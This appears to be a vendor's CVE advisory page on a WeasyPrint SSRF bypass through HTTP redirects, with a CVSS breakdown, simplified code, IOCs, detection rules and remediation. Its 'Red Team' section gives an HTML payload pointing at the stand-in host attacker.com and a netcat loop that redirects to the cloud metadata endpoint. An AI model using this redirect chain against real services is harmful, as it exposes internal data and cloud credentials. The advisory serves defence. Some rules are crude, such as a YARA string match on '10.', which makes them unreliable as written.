☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-601
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68616

CVE-2025-68616 Server-Side Request Forgery in Weasyprint
📅 PUBLISHED: 2026-01-19 15:20 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.71%
👁️
0.71% probability
17.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68616 is a Server-Side Request Forgery (SSRF) protection bypass vulnerability in WeasyPrint, a popular Python library for converting HTML/CSS to PDF. The flaw resides in the default_url_fetcher function. Even when a developer implements a custom url_fetcher to block access to internal resources (e.g., localhost, 169.254.169.254), the underlying urllib library automatically follows HTTP redirects without re-validating the new destination against the developer's security policy. This allows an attacker to craft a malicious HTML document that, when rendered by WeasyPrint, triggers a redirect to an internal service, bypassing the intended SSRF protection. The vulnerability has a CVSS score of 7.5 (High) and affects all versions prior to 68.0. No public proof-of-concept or exploit code is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WeasyPrint is a Python package distributed via PyPI. This vulnerability is a supply chain risk because any application that uses WeasyPrint to render user-supplied HTML is potentially affected. Developers must ensure they are using version 68.0 or later. The patch is available in the official PyPI repository.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over a network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The victim does not need to perform any action.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Internal network resources (e.g., cloud metadata, local services) can be read.
  • Integrity (I): None (N) – No data modification is possible.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows an attacker to probe and exfiltrate data from internal services, which can lead to further compromise.

Deep Dive & Mechanics

The core issue is a classic SSRF bypass via HTTP redirects. WeasyPrint's default_url_fetcher is designed to fetch resources (images, stylesheets, etc.) when rendering HTML. Developers can override this with a custom url_fetcher to implement security policies, such as blocking requests to private IP ranges.

However, the underlying urllib library (used by WeasyPrint) automatically follows HTTP 3xx redirect responses. When a custom url_fetcher is in place, it only validates the initial URL. If that URL is allowed (e.g., an external image host), but the server responds with a redirect to an internal IP (e.g., http://169.254.169.254/latest/meta-data/), the redirect is followed without re-checking the new destination against the custom fetcher's policy.

Attack Flow:

  1. Attacker crafts an HTML document with an <img> tag pointing to an attacker-controlled server.
  2. The attacker's server responds with an HTTP 302 redirect to an internal resource (e.g., http://127.0.0.1:8080/admin or http://169.254.169.254/latest/meta-data/).
  3. WeasyPrint's default_url_fetcher follows the redirect, bypassing the custom fetcher's validation.
  4. The internal resource's content is fetched and embedded into the PDF, which is then returned to the attacker.

Vulnerable vs. Patched Code

Vulnerable (pre-68.0): The default_url_fetcher in WeasyPrint uses urllib.request.urlopen which automatically follows redirects. The custom fetcher is only called for the initial URL.

# Simplified vulnerable code
def default_url_fetcher(url, timeout=10, ssl_context=None):
    # Custom fetcher logic is applied here, but only for the initial URL
    if not custom_fetcher_allows(url):
        raise Exception("Blocked")
    # urllib follows redirects automatically
    response = urllib.request.urlopen(url, timeout=timeout, context=ssl_context)
    return response

Patched (68.0+): The patched version intercepts redirects and re-validates each new destination against the custom fetcher.

# Simplified patched code
def default_url_fetcher(url, timeout=10, ssl_context=None):
    # Custom fetcher logic is applied here
    if not custom_fetcher_allows(url):
        raise Exception("Blocked")
    # Use a custom opener that does not follow redirects automatically
    opener = urllib.request.build_opener(NoRedirectHandler)
    response = opener.open(url, timeout=timeout)
    # If a redirect is received, validate the new URL
    if response.status in (301, 302, 303, 307, 308):
        new_url = response.headers['Location']
        if not custom_fetcher_allows(new_url):
            raise Exception("Blocked")
        # Follow the redirect manually
        response = urllib.request.urlopen(new_url, timeout=timeout, context=ssl_context)
    return response

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Victim Machine: A server running WeasyPrint < 68.0 with a custom url_fetcher that blocks private IPs.
  2. Attacker Machine: A server with a simple HTTP server that returns a 302 redirect.
  3. Internal Service: A service on the victim's network (e.g., a metadata endpoint or a local admin panel).

Exploitation Steps:

  1. Create an HTML file (exploit.html) that references an external image:
    <!DOCTYPE html>
    <html>
    <body>
    <img src="http://attacker.com/redirect">
    </body>
    </html>
    
  2. On the attacker server, set up a listener that returns a 302 redirect to the internal target:
    # Using netcat or a simple Python script
    while true; do echo -e "HTTP/1.1 302 Found\r\nLocation: http://169.254.169.254/latest/meta-data/\r\n\r\n" | nc -l -p 80; done
    
  3. Send the HTML file to the victim application (e.g., via a web form that generates PDFs).
  4. The generated PDF will contain the content of the internal resource.

Blue Team

Detection:

  • Monitor outbound HTTP requests from WeasyPrint processes. Look for requests to internal IPs (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
  • Log and alert on any HTTP redirect chains that end at internal IPs.
  • Use network segmentation to prevent WeasyPrint from reaching internal services.

Mitigation:

  • Immediately upgrade to WeasyPrint 68.0 or later.
  • If upgrade is not possible, implement a network-level firewall rule to block outbound traffic from the WeasyPrint process to private IP ranges.
  • Use a reverse proxy or a dedicated URL validation library that does not follow redirects automatically.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests from WeasyPrint to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1, 169.254.169.254).
  • Logs: WeasyPrint logs showing urllib requests to private IPs after a redirect.
  • File: PDF files containing content from internal services (e.g., cloud metadata, local admin pages).
  • Process: WeasyPrint process making unexpected connections to internal hosts.

Detection Engineering

YARA Rule

rule CVE_2025_68616_WeasyPrint_SSRF {
    meta:
        description = "Detects WeasyPrint PDF files that may contain SSRF-exfiltrated internal data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68616"
    strings:
        $meta_data = "169.254.169.254" nocase
        $local_host = "127.0.0.1" nocase
        $local_net = "10." nocase
        $local_net2 = "192.168." nocase
        $local_net3 = "172.16." nocase
    condition:
        any of them
}

Sigma Rule

title: WeasyPrint SSRF Bypass via Redirect
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects WeasyPrint processes making HTTP requests to internal IPs after a redirect
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/weasyprint'
        CommandLine|contains: 'http://'
    filter:
        CommandLine|contains:
            - 'http://127.0.0.1'
            - 'http://10.'
            - 'http://192.168.'
            - 'http://172.16.'
            - 'http://169.254.'
    condition: selection and filter
falsepositives:
    - Legitimate use of internal resources (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68616 WeasyPrint SSRF Bypass - Redirect to Internal IP"; flow:to_server; content:"Location|3a|"; nocase; pcre:"/Location:\s*https?:\/\/(127\.0\.0\.1|10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.|169\.254\.)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade WeasyPrint to version 68.0 or later.
  2. Network: Implement egress filtering to block outbound traffic from WeasyPrint to private IP ranges.
  3. Code: If using a custom url_fetcher, ensure it is applied to all URLs in the redirect chain. Consider using a library like requests with allow_redirects=False and manual validation.
  4. Monitoring: Enable logging for all URL fetches and alert on any requests to internal IPs.
  5. Least Privilege: Run WeasyPrint in a container or sandbox with minimal network access.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68616/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.